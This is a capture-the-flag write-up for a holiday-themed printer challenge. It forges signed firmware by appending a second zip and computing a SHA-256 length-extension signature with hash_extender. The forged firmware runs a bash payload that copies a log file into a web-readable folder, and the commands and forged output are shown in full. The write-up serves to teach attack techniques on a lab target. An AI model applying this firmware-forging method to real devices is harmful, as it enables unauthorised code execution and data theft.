Objective

image-20220107104853136

Printer Exploitation

Having completed the Shellcode Primer, Ruby is ready to talk about the printer that is just across the room:

image-20220106222058537

Oh man - what is this all about? Great work though.

So first things first, you should definitely take a look at the firmware.

With that in-hand, you can pick it apart and see what’s there.

Did you know that if you append multiple files of that type, the last one is processed?

Have you heard of Hash Extension Attacks?

If something isn’t working, be sure to check the output! The error messages are very verbose.

Everything else accomplished, you just might be able to get shell access to that dusty old thing!

Hints

Three more hints are unlocked as well:

  • When analyzing a device, it’s always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded.
  • Hash Extension Attacks can be super handy when there’s some type of validation to be circumvented.
  • Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/.

Challenge

Visiting the printer itself leads to the management page:

image-20220107102213746

Solution

Enumeration

I’m immediately drawn to the “Firmware Update” menu:

image-20220107102239047

Not only can I update the firmware, but I can download the current firmware. It does say that the firmware must be signed, and I don’t have a secret.

The firmware is a JSON blob:

{"firmware":"UEsDBBQAA...[snip]...AAALAJAAAAAA==","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97","secret_length":16,"algorithm":"SHA256"}

Besides firmware, the keys are signature, secret_length, and algorithm. algorithm is SHA256, which matches the 64 character = 32 byte = 256 bits hash in signature. To prevent me from modifying the firmware and just hashing it myself, there is a secret prepended to the binary, which in theory only allows someone who knows the secret to create the hash.

Reversing Firmware

I’ll echo the base64 string into base64 -d into a file, firmware. It’s a zip, containing a single file, firmware.bin:

$ file firmware
firmware: Zip archive data, at least v2.0 to extract
$ unzip -l firmware
Archive:  firmware
  Length      Date    Time    Name
---------  ---------- -----   ----
    16608  2021-12-16 15:42   firmware.bin
---------                     -------
    16608                     1 file

I’ll unzip that and open it in Ghidra. There aren’t very many functions:

image-20220107102349532

main is dead simple:

undefined8 main(void)

{
  puts("Firmware is fully up to date!");
  return 0;
}

Basically this is dummy firmware.

Strategy

I’m going to combine two attacks to generate firmware that will run what I want it to run:

  • Most unzip programs will handle two concatenated zips as if the first one doesn’t exist. For example:

    oxdf@parrot$ touch a b
    oxdf@parrot$ zip a.zip a
      adding: a (stored 0%)
    oxdf@parrot$ zip b.zip b
      adding: b (stored 0%)
    oxdf@parrot$ cat a.zip b.zip > c.zip
    oxdf@parrot$ unzip -l c.zip 
    Archive:  c.zip
    warning [c.zip]:  152 extra bytes at beginning or within zipfile
      (attempting to process anyway)
      Length      Date    Time    Name
    ---------  ---------- -----   ----
            0  2022-01-07 10:25   b
    ---------                     -------
            0                     1 file
    
  • Hash extension attack using hash_extender (specifically this fork with the --append-file option). Hash extension attacks (or length extension attacks) take advantage of how hash functions block and pad data to allow me to add data to the end of a binary and compute the new hash, without knowing the original secret used.

I’ll cover these in depth in this video (along with the rest of the challenge, and some beyond flag stuff like getting a shell on the printer):

Generate Payload

A Linux system will typically handle a shell script and an executable the same, so I’ll create a simple Bash script as my payload. The hint said that the /app/lib/public/incoming folder is accessible over the web server, so I’ll copy the target file into there for reading:

#!/bin/bash

cp /var/spool/printer.log /app/lib/public/incoming/0xdf.log

I’ll name the file firmware.bin, chmod +x it, and add it to a zip file:

$ chmod +x firmware.bin 
$ zip firmware.zip firmware.bin 
  adding: firmware.bin (deflated 7%)

Next I’ll use hash_extender to append the new zip to the old one and get a signature for it:

$ hash_extender --file orig/firmware.zip -f sha256 -l 16 -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --append-file attack/firmware.zip 
Type: sha256
Secret length: 16
New signature: 6e4471d4fc06e125b237b44ba39d2eb8451a1d1fae0b6084fabdcce6f31fd496
New string: 504b030414000000080045a5905316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003a2a4bb61a2a4bb6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e0314000000080045a5905316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003a2a4bb6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800dc532754c0b8dace44000000490000000c001c006669726d776172652e62696e5554090003af5cd861af5cd86175780b000104e803000004e803000015ca410e80300804c07b5f51e3ddf54b50b5925020ad1a9f6f9cf3cc13580c4ce34ca944c6431d23dc15d1c5aebd2fea358322a0c2889b550ac48a37b18af5dd8e7fa40f504b01021e03140000000800dc532754c0b8dace44000000490000000c0018000000000001000000f981000000006669726d776172652e62696e5554050003af5cd86175780b000104e803000004e8030000504b05060000000001000100520000008a0000000000

I’ll use grep, cut, xxd, and base64 to convert that from hex to base64:

$ hash_extender --file orig/firmware.zip -f sha256 -l 16 -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --append-file attack/firmware.zip | grep string | cut -d' ' -f3 | xxd -r -p | base64 -w0
UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAOipLthoqS7YXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU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5iaW5VVAUAA69c2GF1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBSAAAAigAAAAAA

I’ll create a new JSON file with the new combined zip base64 and the new signature, and upload it to the printer.

On visiting https://printer.kringlecastle.com/incoming/0xdf.log, I get the log data I’m looking for:

image-20220107103604076

Flag: Troll_Pay_Chart.xlsx